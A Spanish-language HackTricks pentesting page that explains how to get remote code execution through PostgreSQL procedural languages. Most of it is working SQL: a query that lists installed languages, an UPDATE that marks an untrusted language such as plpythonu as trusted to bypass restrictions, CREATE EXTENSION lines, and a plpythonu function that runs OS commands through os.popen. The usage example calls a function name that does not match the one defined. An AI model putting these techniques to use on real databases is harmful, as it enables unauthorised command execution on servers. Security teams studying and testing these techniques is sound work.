RCE con lenguajes de PostgreSQL

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Lenguajes de PostgreSQL

La base de datos de PostgreSQL a la que tienes acceso puede tener diferentes lenguajes de scripting instalados que podrías abusar para ejecutar código arbitrario.

Puedes hacerlos funcionar:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

La mayoría de los lenguajes de scripting que puedes instalar en PostgreSQL tienen 2 sabores: el confiable y el no confiable. El no confiable tendrá un nombre terminado en "u" y será la versión que te permitirá ejecutar código y usar otras funciones interesantes. Estos son lenguajes que, si están instalados, son interesantes:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (cualquier otro lenguaje de programación que use una versión insegura)

warning

Si encuentras que un lenguaje interesante está instalado pero no confiable por PostgreSQL (lanpltrusted es false) puedes intentar confiarlo con la siguiente línea para que no se apliquen restricciones por parte de PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Para verificar tus permisos sobre la tabla pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

Si no ves un lenguaje, podrías intentar cargarlo con (necesitas ser superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Ten en cuenta que es posible compilar las versiones seguras como "inseguras". Consulta esto por ejemplo. Así que siempre vale la pena intentar si puedes ejecutar código incluso si solo encuentras instalada la confiable.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Consulta la siguiente página:

PL/pgSQL Password Bruteforce

C

Consulta la siguiente página:

RCE with PostgreSQL Extensions

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks